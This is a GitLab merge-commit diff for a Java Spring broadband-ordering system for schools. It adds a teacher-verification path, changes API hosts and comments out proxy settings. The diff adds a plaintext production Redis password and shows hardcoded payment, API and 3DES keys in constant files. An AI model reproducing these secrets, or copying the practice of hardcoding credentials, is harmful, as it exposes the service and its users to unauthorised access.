Skip to content

G
gdtel-gztel-school-center
Commit f6ba721e by 罗承锋
Options

Merge remote-tracking branch 'origin/master'

parents cc293f01 338b1899
Showing with 682 additions and 336 deletions
apply-net/src/main/java/com/winsun/controller/DankuanController.java
......@@ -73,8 +73,6 @@ public class DankuanController {
@Resource
private RedisLockUtil redisLockUtil;
@Autowired
private Base64ToImgUtils base64ToImgUtils;
@Autowired
private IntelligenceSendOrder intelligenceSendOrder;
......@@ -178,6 +176,9 @@ public class DankuanController {
} else {
orderView.setOrderCustomerType("学生"); // 用户类别
}
if ("12518".equals(partner)) {
orderView.setOrderCustomerType("老师"); // 用户类别
}
ResponseData<Object> res = null;
orderView.setSetMealIndex(setMealIndex);
......@@ -534,7 +535,7 @@ public class DankuanController {
// 新环境正式地址 https://gzctpay.mini189.cn/pay/orderPay/order-pay
doc =
Jsoup.connect("https://gzctpay.mini189.cn/pay/orderPay/order-pay")
.proxy("172.18.101.170", 3128)
// .proxy("172.18.101.170", 3128)
.data(map)
.timeout(20000)
.ignoreContentType(true)
......
apply-net/src/main/java/com/winsun/controller/RongHeController.java
......@@ -76,8 +76,6 @@ public class RongHeController {
@Resource
private RedisLockUtil redisLockUtil;
@Autowired
private Base64ToImgUtils base64ToImgUtils;
/**
* 跟据合伙人id查找融合套餐信息
*
......@@ -223,7 +221,7 @@ public class RongHeController {
}
}else {
index = Integer.parseInt(setMealIndex);
mealStr = mealArry[index];
// mealStr = mealArry[index];
byStr = rateArry[index];
prices = priceArry[index] + "元";
}
......@@ -360,6 +358,7 @@ public class RongHeController {
appMapper.inserOrderHis(id, "待下单！", new Date(), orderView.getOrderName());
}catch (Exception e){
e.printStackTrace();
return ResponseData.error("操作失败");
}
return ResponseData.success(order, "订单创建成功");
......@@ -372,10 +371,12 @@ public class RongHeController {
String uptranseq = request.getParameter("UPTRANSEQ"); // 穗易付平台，支付流水号uptranseq
String orderamount = request.getParameter("ORDERAMOUNT");//orderamount 价格
String orderreqtranseq = request.getParameter("ORDERREQTRANSEQ"); // 穗易付订单号 orderreqtranseq
/*String orderseq = "4iz818f1u74kznypf3w81";
String uptranseq = "2019082922001464810523969803"; // 穗易付平台，支付流水号
String orderamount = "30";
String orderreqtranseq = "GZCTPAY20190829384046979"; // 穗易付订单号*/
/*
String orderseq = "4iz818f1u74kznypf3w81";
String uptranseq = "2019082922001464810523969803"; // 穗易付平台，支付流水号
String orderamount = "30";
String orderreqtranseq = "GZCTPAY20190829384046979"; // 穗易付订单号
*/
log.info("----------异步请求接受参数订单号：" + orderseq);
log.info("----------异步请求接受参数支付流水号：" + uptranseq);
log.info("----------异步请求接受参数订单金额：" + orderamount);
......@@ -527,7 +528,7 @@ public class RongHeController {
// 新环境正式地址 https://gzctpay.mini189.cn/pay/orderPay/order-pay
doc =
Jsoup.connect("https://gzctpay.mini189.cn/pay/orderPay/order-pay")
.proxy("172.18.101.170", 3128)
// .proxy("172.18.101.170", 3128)
.data(map)
.timeout(20000)
.ignoreContentType(true)
......
apply-net/src/main/java/com/winsun/controller/SingleBroadToIntegrateController.java
......@@ -3,26 +3,21 @@ package com.winsun.controller;
import com.alibaba.fastjson.JSONObject;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.mapper.Wrapper;
import com.netflix.discovery.converters.Auto;
import com.winsun.auth.core.annotion.Permission;
import com.winsun.auth.core.common.model.ResponseData;
import com.winsun.bean.*;
import com.winsun.constant.FilePath;
import com.winsun.constant.OrderStatus;
import com.winsun.mapper.*;
import com.winsun.outSideSystem.IntelligenceSendOrder;
import com.winsun.smsUtils.SendSmsAndMail;
import com.winsun.utils.Base64ToImgUtils;
import com.winsun.utils.PicturesUtil;
import com.winsun.utils.RandomUtil;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import java.sql.Time;
import java.text.SimpleDateFormat;
import java.util.*;
import java.util.concurrent.TimeUnit;
......@@ -87,7 +82,7 @@ public class SingleBroadToIntegrateController {
/**
* 获取大学宽带信息
* @param hehuorenId
* @param universityId
* @return
*/
@PostMapping("getUniversityInfo")
......@@ -108,7 +103,7 @@ public class SingleBroadToIntegrateController {
* @return
*/
@PostMapping("getCode")
public ResponseData<Map<String, Object>> getCode(@RequestParam(value = "phone") String phone) {
public ResponseData getCode(@RequestParam(value = "phone") String phone) {
try{
// 判断号码是否在优惠清单中，已有新用户订单或者再优惠号码清单中
......@@ -132,7 +127,7 @@ public class SingleBroadToIntegrateController {
e.printStackTrace();
return ResponseData.error("获取验证码失败");
}
return ResponseData.success(null, "获取验证码成功");
return ResponseData.success("获取验证码成功");
}
/**
......@@ -142,7 +137,7 @@ public class SingleBroadToIntegrateController {
* @return
*/
@PostMapping("checkPhoneAndCode")
public ResponseData<Map<String, Object>> checkPhoneAndCode(@RequestParam("phone") String phone,
public ResponseData checkPhoneAndCode(@RequestParam("phone") String phone,
@RequestParam("code") String code) {
Object o = redisTemplate.opsForValue().get(SingleBroadToIntegrateController.TOINTEGRATE + phone);
if (o == null) {
......@@ -153,7 +148,7 @@ public class SingleBroadToIntegrateController {
}
redisTemplate.delete(SingleBroadToIntegrateController.TOINTEGRATE + phone);
return ResponseData.success(null,"校验成功");
return ResponseData.success("校验成功");
}
/**
......@@ -180,12 +175,35 @@ public class SingleBroadToIntegrateController {
/**
* 校验宽带账号，智能平台下单
* @param request
* @param toIntegrateOrderParam 下单参数
* @param name
* @param netNumber
* @param idCard
* @param businessNumber
* @param contactPhone
* @param rhTime
* @param hehuorenId
* @param imgUrl
* @return
*/
@PostMapping("sendOrder")
public ResponseData<Map<String, Object>> sendOrder(HttpServletRequest request,
ToIntegrateOrderParam toIntegrateOrderParam) {
@RequestParam("name") String name,
@RequestParam("netNumber") String netNumber,
@RequestParam("idCard") String idCard,
@RequestParam("businessNumber") String businessNumber,
@RequestParam("contactPhone") String contactPhone,
@RequestParam("rhTime") String rhTime,
@RequestParam("hehuorenId") String hehuorenId,
@RequestParam("imgUrl") String imgUrl) {
ToIntegrateOrderParam toIntegrateOrderParam = new ToIntegrateOrderParam();
toIntegrateOrderParam.setName(name);
toIntegrateOrderParam.setNetNumber(netNumber);
toIntegrateOrderParam.setIdCard(idCard);
toIntegrateOrderParam.setBusinessNumber(businessNumber);
toIntegrateOrderParam.setContactPhone(contactPhone);
toIntegrateOrderParam.setRhTime(rhTime);
toIntegrateOrderParam.setHehuorenId(hehuorenId);
toIntegrateOrderParam.setImgUrl(imgUrl);
// 正常下单保存到数据库中
log.info(JSONObject.toJSONString(toIntegrateOrderParam));
......@@ -193,8 +211,8 @@ public class SingleBroadToIntegrateController {
Map<String, Object> resultMap = new HashMap<>();
// 查询订单类型为（3、5、9、10）的 !异常单
List<Order> orders = orderMapper.selectRepeatOrder(toIntegrateOrderParam.getIdCard());
// 查询订单类型为（3、9、10）的 !异常单 只办理了单宽可继续办理宽叠移
List<Order> orders = orderMapper.selectKdyOrder(toIntegrateOrderParam.getIdCard());
if (orders != null && orders.size() != 0) {
return ResponseData.error("已有其它订单");
}
......@@ -261,13 +279,12 @@ public class SingleBroadToIntegrateController {
orderView.setExpenses(universityInfo.getExpenses()); // 套餐
orderViewMapper.insert(orderView);
Base64ToImgUtils base64ToImgUtils = new Base64ToImgUtils();
// 获取签名图片地址
if(StringUtils.isBlank(toIntegrateOrderParam.getImgUrl())){
return ResponseData.error("签名失败！");
}
if(StringUtils.isNotBlank(toIntegrateOrderParam.getImgUrl())){
imgFilePath = base64ToImgUtils.base64ToImg(toIntegrateOrderParam.getImgUrl(), FilePath.PATH.getValue()+FilePath.IMGURLPATH.getValue());
imgFilePath = PicturesUtil.uploadPictures(toIntegrateOrderParam.getImgUrl(), orderView.getOrderSeq(),"signImg");
}
// 保存到hhr_order
Order order = new Order();
......
apply-net/src/main/java/com/winsun/controller/codeManagerController.java
......@@ -2,11 +2,8 @@ package com.winsun.controller;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.mapper.Wrapper;
import com.netflix.discovery.converters.Auto;
import com.winsun.auth.core.annotion.Permission;
import com.winsun.auth.core.common.model.ResponseData;
import com.winsun.bean.*;
import com.winsun.constant.OrderStatus;
import com.winsun.mapper.*;
import com.winsun.smsUtils.SendSmsAndMail;
import com.winsun.utils.MyBatisPlusUpdateUtils;
......@@ -47,6 +44,10 @@ public class codeManagerController {
private OrderMapper orderMapper;
@Autowired
private OrderViewMapper orderViewMapper;
@Autowired
private TeacherMapper teacherMapper;
@Autowired
private XshInventoryMapper xshInventoryMapper;
@Autowired
......@@ -65,6 +66,7 @@ public class codeManagerController {
@Autowired
private SysUserMapper sysUserMapper;
private static String PATH1 = "StudentCard1";
private static String PATH2 = "StudentCard2";
private static String PATH3 = "StudentCard3";
......@@ -367,6 +369,26 @@ public class codeManagerController {
Map<String, Object> mapData = new HashMap<>();
String idCard = request.getParameter("idCard"); // 身份证号
String accountNumber = request.getParameter("accountNumber");// 多媒体账号
String userName = request.getParameter("userName");// 客户名字
String orderCustomerAccount = request.getParameter("orderCustomerAccount");// 多媒体账号 去除后缀
String partner = request.getParameter("partner");// 合伙人ID
if("12518".equals(partner)){ // 特定学校：华软教师办理通道
Wrapper<Teacher> wrapperT = new EntityWrapper<>();
wrapperT.eq(StringUtils.isNotBlank(orderCustomerAccount),"student_number",orderCustomerAccount);
List<Teacher> teacherList = teacherMapper.selectList(wrapperT);
// 请输入t+工号
// 姓名填写不正确
if(teacherList!=null && teacherList.size()>0){
if(!teacherList.get(0).getStuName().equals(userName)){
mapData.put("code", 3);
return ResponseData.error(mapData,"姓名填写不正确");
}
}else {
mapData.put("code", 4);
return ResponseData.error(mapData,"教师工号不存在，请输入t+工号");
}
}
// 判断身份证号是否在清单中
Wrapper<Order> orderWrapper = new EntityWrapper<>();
orderWrapper.eq(StringUtils.isNotBlank(idCard), "id_card", idCard);
......@@ -458,19 +480,19 @@ public class codeManagerController {
student.setIdCard(idCard);
student.setUploadDate(new Date());
if(StringUtils.isNotBlank(file1)){
String file01 = PicturesUtil.uploadPictures(file1, "",PATH1);
String file01 = PicturesUtil.uploadPictures(file1, orderPhone,PATH1);
student.setStudentCardUrl(file01);
}
if(StringUtils.isNotBlank(file2)){
String file02 = PicturesUtil.uploadPictures(file2,"",PATH2);
String file02 = PicturesUtil.uploadPictures(file2,orderPhone,PATH2);
student.setOtherImgUrl1(file02);
}
if(StringUtils.isNotBlank(file3)){
String file03 = PicturesUtil.uploadPictures(file3, "",PATH3);
String file03 = PicturesUtil.uploadPictures(file3, orderPhone,PATH3);
student.setOtherImgUrl2(file03);
}
if(StringUtils.isNotBlank(file4)){
String file04 = PicturesUtil.uploadPictures(file4, "",PATH4);
String file04 = PicturesUtil.uploadPictures(file4, orderPhone,PATH4);
student.setOtherImgUrl3(file04);
}
Integer integer1 = studentCardMapper.update(student,wrapper);
......
apply-net/src/main/resources/application-prod.yml
......@@ -108,7 +108,7 @@ spring:
database: 0
host: localhost
port: 6379
password:
password: hniPdaqs4$8HH8m6KTP
lettuce:
pool:
max-active: -1
......@@ -184,4 +184,4 @@ management:
endpoints:
web:
exposure:
include: bus-refresh
\ No newline at end of file
include: bus-refresh
common/src/main/java/com/winsun/bean/Constant.java
......@@ -27,7 +27,7 @@ public class Constant {
public final static String ZHANGSHIKEY = "3df143292455bfea88bc613c53004d36"; //智能平台提供的正式key
// public final static String ZHENGSHIAUCCON = "xiaoykd"; //智能平台提供的正式账号
// public final static String ZHANGSHIKEY = "d345040accff0421d03f760a03e5cbd9"; //智能平台提供的正式key
public final static String ZHANGSHIURL = "https://ismart.mini189.cn/api/"; //智能平台提供的正式key
public final static String ZHANGSHIURL = "https://icloud.mini189.cn/api/"; //智能平台提供的正式key
public final static String PRODUCTCATEGORY = "单宽带"; //只能平台提供的key
// public final static String TOMCATURL = "http://183.57.78.132:8080"; //Linux外网服务器地址
// public final static String INTRANETURL = "http://10.3.1.21:8080"; //Linux内网服务器地址
......
common/src/main/java/com/winsun/bean/HhrUser.java
......@@ -72,18 +72,23 @@ public class HhrUser implements Serializable{
* 证件信息上传状态
*/
private int uploadState;
/**
* 活跃状态 1：活跃 0：不活跃
*/
private int isActive;
/**
* 微信名
*/
private String wxNickName;
/**
* 分销员
*/
private String fxs;
// 非数据库字段
/**
......
common/src/main/java/com/winsun/bean/Teacher.java 0 → 100644
package com.winsun.bean;
import com.baomidou.mybatisplus.annotations.TableField;
import com.baomidou.mybatisplus.annotations.TableId;
import com.baomidou.mybatisplus.annotations.TableName;
import com.baomidou.mybatisplus.enums.IdType;
import lombok.Data;
import java.io.Serializable;
/**
* 华软教师职工信息
*/
@Data
@TableName("gzy_student")
public class Teacher implements Serializable {
/**
* 主键
*/
@TableId(value = "id", type = IdType.AUTO)
private Integer id;
/**
* 姓名
*/
@TableField(value = "student_name")
private String stuName;
/**
*工号
*/
@TableField(value = "student_number")
private String stuNumber;
/**
*专业
*/
private String sex;
}
common/src/main/java/com/winsun/constant/Constant.java
......@@ -16,26 +16,26 @@ public class Constant {
/* 默认一页显示10条数据 */
public final static Integer PAGENUM = 2;
/* 默认第一页 */
public final static Integer FROMPAGE = 0;
/*用户状态*/
public final static String USERQIDONG = "1";//启用
public final static String USERJINYONG = "0";//禁用
/*支付参数*/
public final static String CLIENTNUMBER = "xyzxyql"; //商户标识，由穗易付平台统一分配
public final static String APPK = "E805F0305C455BA7C5BAE3796C6500BD"; //KEY 商户标识，由穗易付平台统一分配
public final static String KEY = "E805F0305C455BA7C5BAE3796C6500BD"; //商户标识，由穗易付平台统一分配
public final static String key_VALUE = "E805F0305C455BA7C5BAE3796C6500BD"; //商户标识，由穗易付平台统一分配
public final static String USERNAME = "apitest"; //智能平台提供测试的账号
public final static String USERNAMEKEY = "46b97294d4dac3f62ee42f3ab2804f68"; //智能平台提供的测试key
public final static String ZHENGSHIAUCCON = "ruany"; //智能平台提供的正式账号
public final static String ZHENGSHIAUCCON = "ruany"; //智能平台提供的正式账号
public final static String ZHANGSHIKEY = "3df143292455bfea88bc613c53004d36"; //智能平台提供的正式key
// public final static String ZHENGSHIAUCCON = "xiaoykd"; //智能平台提供的正式账号
// public final static String ZHANGSHIKEY = "d345040accff0421d03f760a03e5cbd9"; //智能平台提供的正式key
public final static String ZHANGSHIURL = "https://ismart.mini189.cn/api/"; //智能平台提供的正式key
public final static String ZHANGSHIURL = "https://icloud.mini189.cn/api/"; //智能平台提供的正式key
public final static String PRODUCTCATEGORY = "单宽带"; //只能平台提供的key
// public final static String TOMCATURL = "http://183.57.78.132:8080"; //Linux外网服务器地址
// public final static String INTRANETURL = "http://10.3.1.21:8080"; //Linux内网服务器地址
......@@ -58,7 +58,7 @@ public class Constant {
public final static String IMGBDURL = "/static/images/temp/";//图片存放位置
public final static String KDIMGBDURL = "/static/images/kuandai/";//图片存放位置
public final static String ORDERSTATUS1 = "1"; // 待提交
public final static String ORDERSTATUS2 = "2"; // 待受理
public final static String ORDERSTATUS3 = "3"; // 受理成功【待收费】
......@@ -67,7 +67,7 @@ public class Constant {
public final static String ORDERSTATUS9 = "9"; // 已收费【待竣工】
public final static String ORDERSTATUS10 = "10"; // 受理异常
public final static String ORDERSTATUS100= "100"; // 未支付
public final static String ROLE1 = "1"; // 用户权限：1管理员 2测试人员 3工作人员 4学校人员
public final static String ROLE2 = "2"; // 用户权限：1管理员 2测试人员 3工作人员 4学校人员
public final static String ROLE3 = "3"; // 用户权限：1管理员 2测试人员 3工作人员 4学校人员
......
common/src/main/java/com/winsun/constant/UserType.java
......@@ -11,13 +11,17 @@ import java.util.Map;
*/
public enum UserType {
//1：老客户；0新客户;2:老客户续约3：融合 4：抽奖；5：单宽；6：羊城通卡
OLDCUSTOMER("1", "老客户"),
NEWCUSTOMER("0", "新客户"),
NEWCUSTOMER("0", "新客户办理"),
OLDCUSTOMER("1", "老客户办理"),
OLDCUSTOMERRENEW ("2", "老客户续约"),
RH("3", "融合"),
RH("3", "融合办理"),
LUCKYDRAW("4", "抽奖"),
DY("5", "单宽"),
YCTK("6", "羊城通卡");
DY("5", "单宽业务"),
YCTK("6", "羊城通业务"),
TYY("7", "天翼云"),
YZF("8", "翼支付"),
BYSTH("9", "毕业生融合"),
DKJR("10", "单宽进融");
UserType(String id, String name) {
this.id = id;
this.name = name;
......
common/src/main/java/com/winsun/mapper/OrderMapper.java
......@@ -102,6 +102,13 @@ public interface OrderMapper extends BaseMapper<Order> {
List<Order> selectRepeatOrder(String idCard);
/**
* 查询重复订单
* @param idCard
* @return
*/
List<Order> selectKdyOrder(String idCard);
/**
* 查询宽带清单
* @param accountNumber
* @return
......
common/src/main/java/com/winsun/mapper/TeacherMapper.java 0 → 100644
package com.winsun.mapper;
import com.baomidou.mybatisplus.mapper.BaseMapper;
import com.winsun.bean.Teacher;
import org.apache.ibatis.annotations.Mapper;
import org.springframework.stereotype.Component;
/**
* 华软教师通道对应使用表的Mapper
*/
@Mapper
@Component
public interface TeacherMapper extends BaseMapper<Teacher> {
}
common/src/main/java/com/winsun/outSideSystem/IntelligenceSendOrder.java
......@@ -266,13 +266,13 @@ public class IntelligenceSendOrder {
private JSONObject getQueryOrderInfo(
String orderNum, String currentTimeStr, int count) throws Exception {
List<NameValuePair> qParams = new ArrayList<NameValuePair>();
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig defaultRequestConfig =
RequestConfig.custom()
.setSocketTimeout(50000)
.setConnectTimeout(50000)
.setConnectionRequestTimeout(50000)
.setProxy(proxy)
// .setProxy(proxy)
.build();
CloseableHttpClient httpclient =
HttpClients.custom().setDefaultRequestConfig(defaultRequestConfig).build();
......@@ -359,7 +359,7 @@ public class IntelligenceSendOrder {
int count)
throws Exception {
List<NameValuePair> qParams = new ArrayList<NameValuePair>();
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig defaultRequestConfig =
RequestConfig.custom()
.setSocketTimeout(50000)
......@@ -722,13 +722,13 @@ public class IntelligenceSendOrder {
private JSONObject getProductId(String currentTimeStr, int count) throws Exception {
List<NameValuePair> qParams = new ArrayList<NameValuePair>();
Map<String, String> signMap = new HashMap<String, String>(); // 待签名参数
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig defaultRequestConfig =
RequestConfig.custom()
.setSocketTimeout(50000)
.setConnectTimeout(50000)
.setConnectionRequestTimeout(50000)
.setProxy(proxy)
// .setProxy(proxy)
.build();
CloseableHttpClient httpclient =
HttpClients.custom().setDefaultRequestConfig(defaultRequestConfig).build();
......@@ -806,13 +806,13 @@ public class IntelligenceSendOrder {
throws Exception {
List<NameValuePair> qParams = new ArrayList<NameValuePair>();
Map<String, String> signMap = new HashMap<String, String>(); // 待签名参数
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig defaultRequestConfig =
RequestConfig.custom()
.setSocketTimeout(500000)
.setConnectTimeout(500000)
.setConnectionRequestTimeout(500000)
.setProxy(proxy)
// .setProxy(proxy)
.build();
CloseableHttpClient httpclient =
HttpClients.custom().setDefaultRequestConfig(defaultRequestConfig).build();
......@@ -1050,13 +1050,13 @@ public class IntelligenceSendOrder {
}
}
List<NameValuePair> qParams = new ArrayList<NameValuePair>();
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig defaultRequestConfig =
RequestConfig.custom()
.setSocketTimeout(500000)
.setConnectTimeout(500000)
.setConnectionRequestTimeout(500000)
.setProxy(proxy)
// .setProxy(proxy)
.build();
CloseableHttpClient httpclient =
HttpClients.custom().setDefaultRequestConfig(defaultRequestConfig).build();
......@@ -1581,18 +1581,18 @@ public class IntelligenceSendOrder {
}
// 3、提交订单到智能平台
List<NameValuePair> qParams = new ArrayList<NameValuePair>();
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig defaultRequestConfig =
RequestConfig.custom()
.setSocketTimeout(500000)
.setConnectTimeout(500000)
.setConnectionRequestTimeout(500000)
.setProxy(proxy)
// .setProxy(proxy)
.build();
CloseableHttpClient httpclient =
HttpClients.custom().setDefaultRequestConfig(defaultRequestConfig).build();
HttpEntity entity = null;
// https://ismart.mini189.cn/api/create-order.action
// https://icloud.mini189.cn/api/create-order.action
HttpPost httpPost = new HttpPost(Constant.ZHANGSHIURL + "create-order.action");
RequestConfig requestConfig = RequestConfig.copy(defaultRequestConfig).build();
httpPost.setConfig(requestConfig);
......@@ -1905,7 +1905,6 @@ public class IntelligenceSendOrder {
.build();
HttpEntity entity = null;
HttpPost httpPost = new HttpPost(Constant.ZHANGSHIURL + "query.action");
RequestConfig requestConfig = RequestConfig.copy(defaultRequestConfig).build();
httpPost.setConfig(requestConfig);
qParams.add(new BasicNameValuePair("service", "query.order.status"));//api标识，必填
......
common/src/main/java/com/winsun/service/impl/SalesListServiceImpl.java
......@@ -62,9 +62,9 @@ public class SalesListServiceImpl extends ServiceImpl<SalesListMapper, SalesList
if (StringUtils.isNotBlank(info)) {
salesOrders.add(salesList);
this.updateRepeatSchool(salesList.getOrderPhone(), "该号码在其他学校重复登记", repeatSchoolName);
return ResponseData.success(null, info);
return ResponseData.success(info);
}
return ResponseData.success(null, "登记成功");
return ResponseData.success("登记成功");
}else{
return ResponseData.error(error);
}
......
common/src/main/java/com/winsun/smsUtils/HttpUtil.java
......@@ -79,11 +79,11 @@ public class HttpUtil {
}
request.setEntity(new UrlEncodedFormEntity(nvps, "UTF-8"));
/** 超时时间 5s 重试次数 3 */
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// RequestConfig requestConfig = RequestConfig.custom().setConnectTimeout(20000).setSocketTimeout(20000)
// .build();
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig requestConfig = RequestConfig.custom().setConnectTimeout(20000).setSocketTimeout(20000)
.setProxy(proxy).build();
.build();
// RequestConfig requestConfig = RequestConfig.custom().setConnectTimeout(20000).setSocketTimeout(20000)
// .setProxy(proxy).build();
request.setConfig(requestConfig);
// 发�?�请�?
log.info(request.getMethod());
......
common/src/main/java/com/winsun/utils/Base64ToImgUtils.java deleted 100644 → 0
package com.winsun.utils;
import org.springframework.stereotype.Component;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.UUID;
/**
* Base64流转图片工具类
* @author calvin
*/
@Component
public class Base64ToImgUtils {
public String base64ToImg(String imgData, String hhr_img){
String filePath = "";
String uuid = UUID.randomUUID().toString().replaceAll("-", "");
uuid = uuid.substring(1, 12);
SimpleDateFormat sd = new SimpleDateFormat("yyyyMMdd");
SimpleDateFormat sd2 = new SimpleDateFormat("yyyyMM");
String orderNumber = "YRYM" + sd.format(new Date()) + uuid;
Date date = new Date();
String createdate = sd2.format(date);
File file = new File(hhr_img + createdate+ "/" + sd.format(date) + "/"+ orderNumber);
if (!file.exists() && !file.isDirectory()) {
file.mkdirs();
}
if (!imgData.isEmpty()) {
String name = orderNumber;
String base64Data = imgData.split(",")[1];
String houzhui = imgData.split(",")[0].split("/")[1].split(";")[0];
/**
* 2.解码成字节数组
*/
filePath = hhr_img + "/" + createdate+ "/" + sd.format(date) + "/"+ orderNumber +"/" + "O" + name +"."+ houzhui;
java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
byte[] bytes = decoder.decode(base64Data);
FileOutputStream fos = null;
try {
fos = new FileOutputStream(filePath);
fos.write(bytes);
} catch (IOException e) {
e.printStackTrace();
} finally {
if (fos != null){
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
return filePath;
}
//path 为图片在服务器的绝对路径
public String imgToBase64(String url) {
try {
File file = new File(url);
FileInputStream fis;
fis = new FileInputStream(file);
long size = file.length();
byte[] temp = new byte[(int) size];
fis.read(temp, 0, (int) size);
fis.close();
byte[] data = temp;
return new String(org.apache.commons.codec.binary.Base64.encodeBase64(data));
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
}
common/src/main/java/com/winsun/utils/EThreeDES.java
......@@ -147,11 +147,11 @@ public class EThreeDES {
public static void main(String[] args) throws IOException
{
EThreeDES eThreeDES = new EThreeDES();
String KEY = "C314BONC3C85E86KK996WSWS"; //密匙
String key_VALUE = "C314BONC3C85E86KK996WSWS"; //密匙
//加密
String original = "{termNo:\"yxsst_ht191106\", orderTime:\"2021-01-27 11:30:00\", prodName:\"套餐名称\", reqCode:\"GZ202101261234567\", subsCode: [\"611234\", \"612345\", \"611226\"], custName:\"张*三\", certNo: \"4401**********1234\", accNbr:\"13888888888\", orderState: \"S0K\", orderStateName:\"已完成/已取卡\", payState: \"1\", crmStateName:\"完工\", crmStateReason:\"000\", recNo:\"0200202101251030423400027500\"}";
byte[] eBy = EThreeDES.encryptMode(KEY.getBytes(),original.getBytes());
byte[] eBy = EThreeDES.encryptMode(key_VALUE.getBytes(),original.getBytes());
String eBase64 = eThreeDES.enBase64(eBy);
System.out.println("3DES加密后的字符串:" + eBase64);
......
common/src/main/java/com/winsun/utils/HTTPSClient.java
......@@ -108,11 +108,11 @@ public class HTTPSClient {
HttpResponse res;
try {
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig requestConfig = RequestConfig.custom().
setSocketTimeout(200000).
setConnectTimeout(200000)
.setProxy(proxy)
// .setProxy(proxy)
.build();
httpPost.setConfig(requestConfig);
......@@ -159,11 +159,11 @@ public class HTTPSClient {
httpPost.setEntity(s);
HttpResponse res;
try {
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig requestConfig = RequestConfig.custom()
.setSocketTimeout(200000)
.setConnectTimeout(200000)
.setProxy(proxy)
// .setProxy(proxy)
.build();
httpPost.setConfig(requestConfig);
......@@ -335,11 +335,11 @@ public class HTTPSClient {
CloseableHttpClient httpClient = HttpClients.createDefault();
HttpPost httpPost = new HttpPost(url);
try {
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig requestConfig = RequestConfig.custom()
.setSocketTimeout(200000)
.setConnectTimeout(200000)
.setProxy(proxy)
// .setProxy(proxy)
.build();
httpPost.setConfig(requestConfig);
CloseableHttpResponse result = httpClient.execute(httpPost);
......
common/src/main/java/com/winsun/utils/HttpHelper.java
......@@ -174,11 +174,11 @@ public class HttpHelper {
HttpPost httpPost = new HttpPost(url);
try {
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig requestConfig = RequestConfig.custom()
.setSocketTimeout(200000).
setConnectTimeout(200000)
.setProxy(proxy)
// .setProxy(proxy)
.build();
httpPost.setConfig(requestConfig);
......@@ -218,11 +218,11 @@ public class HttpHelper {
HttpResponse res;
try {
HttpHost proxy = new HttpHost("172.18.101.170", 3128);
// HttpHost proxy = new HttpHost("172.18.101.170", 3128);
RequestConfig requestConfig = RequestConfig
.custom().setSocketTimeout(200000)
.setConnectTimeout(200000)
.setProxy(proxy)
// .setProxy(proxy)
.build();
httpPost.setConfig(requestConfig);
......
common/src/main/java/com/winsun/utils/OrderManage.java
......@@ -77,9 +77,9 @@ public class OrderManage {
String resultStr = "";
HttpEntity entity = null;
// https://ismart.mini189.cn/api/create-order.action
// https://icloud.mini189.cn/api/create-order.action
// https://ismarttest.mini189.cn/api/create-order.action
HttpPost httpPost = new HttpPost("https://ismart.mini189.cn/api/create-order.action");
HttpPost httpPost = new HttpPost("https://icloud.mini189.cn/api/create-order.action");
RequestConfig requestConfig = RequestConfig.copy(defaultRequestConfig).build();
httpPost.setConfig(requestConfig);
......@@ -378,7 +378,7 @@ public class OrderManage {
.build();
HttpEntity entity = null;
HttpPost httpPost = new HttpPost("https://ismart.mini189.cn/api/create-order.action");
HttpPost httpPost = new HttpPost("https://icloud.mini189.cn/api/create-order.action");
RequestConfig requestConfig = RequestConfig.copy(defaultRequestConfig).build();
httpPost.setConfig(requestConfig);
......@@ -452,7 +452,7 @@ public class OrderManage {
.build();
HttpEntity entity = null;
HttpPost httpPost = new HttpPost("https://ismart.mini189.cn/api/create-order.action");
HttpPost httpPost = new HttpPost("https://icloud.mini189.cn/api/create-order.action");
RequestConfig requestConfig = RequestConfig.copy(defaultRequestConfig).build();
httpPost.setConfig(requestConfig);
......@@ -531,7 +531,7 @@ public class OrderManage {
CloseableHttpClient httpclient = HttpClients.custom().setDefaultRequestConfig(defaultRequestConfig).build();
HttpEntity entity = null;
HttpPost httpPost = new HttpPost("https://ismart.mini189.cn/api/query.action");
HttpPost httpPost = new HttpPost("https://icloud.mini189.cn/api/query.action");
RequestConfig requestConfig = RequestConfig.copy(defaultRequestConfig).build();
httpPost.setConfig(requestConfig);
......@@ -623,7 +623,7 @@ public class OrderManage {
.build();
HttpEntity entity = null;
HttpPost httpPost = new HttpPost("https://ismart.mini189.cn/api/query.action");
HttpPost httpPost = new HttpPost("https://icloud.mini189.cn/api/query.action");
RequestConfig requestConfig = RequestConfig.copy(defaultRequestConfig).build();
httpPost.setConfig(requestConfig);
......
common/src/main/java/com/winsun/utils/RandomUtil.java
